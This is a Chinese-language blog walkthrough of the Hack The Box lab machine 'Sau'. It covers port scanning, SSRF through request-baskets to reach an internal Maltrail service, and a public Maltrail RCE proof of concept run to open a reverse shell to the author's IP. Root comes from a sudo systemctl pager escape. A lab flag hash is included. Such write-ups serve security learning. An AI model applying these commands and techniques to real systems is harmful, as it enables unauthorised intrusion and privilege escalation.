HTB-Sau

metafa1ica
1
2
3
ip='10.129.229.26'
ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep ^[0-9] | cut -d '/' -f 1| tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV $ip

开了22,80,8338,55555端口

image

image

类似一个dnslog,https://github.com/darklynx/request-baskets

image

似乎有个CVE

image

SSRF

创建一个转发URL

image

转到本地

image

改成127就能访问内网

image

image

MailTrail RCE

https://github.com/spookier/Maltrail-v0.53-Exploit

之前测试也证明能出网,所以直接弹shell

1
python poc.py 10.10.16.42 9999 http://10.129.229.26:55555/sutrw65

image

提权

image

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
cat /etc/systemd/system/trail.service
[Unit]
Description=Maltrail. Server of malicious traffic detection system
Documentation=https://github.com/stamparm/maltrail#readme
Documentation=https://github.com/stamparm/maltrail/wiki
Requires=network.target
Before=maltrail-sensor.service
After=network-online.target

[Service]
User=puma
Group=puma
WorkingDirectory=/opt/maltrail
ExecStart=/usr/bin/python3 server.py
Restart=on-failure
KillMode=mixed

[Install]
WantedBy=multi-user.target

HTB提示systemctl版本号,看来提权从这里找

image

1
sudo /usr/bin/systemctl status trail.service

systemctl 中有一个功能,如果终端窗口的大小小于任何输出行的长度,就会使用pager less来输出信息而不是使用cat。而Pager less可以执行命令

把窗口调小一点执行命令就会触发,实际systemctl status输出基本都会比窗口大

image

收工

image

2e815d919a73c08f8c627f4d90f10f51

  • 标题: HTB-Sau
  • 作者: metafa1ica
  • 创建于 : 2025-07-29 00:01:10
  • 更新于 : 2025-08-17 13:29:28
  • 链接: https://metafa1ica.github.io/post/56262cca040f/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论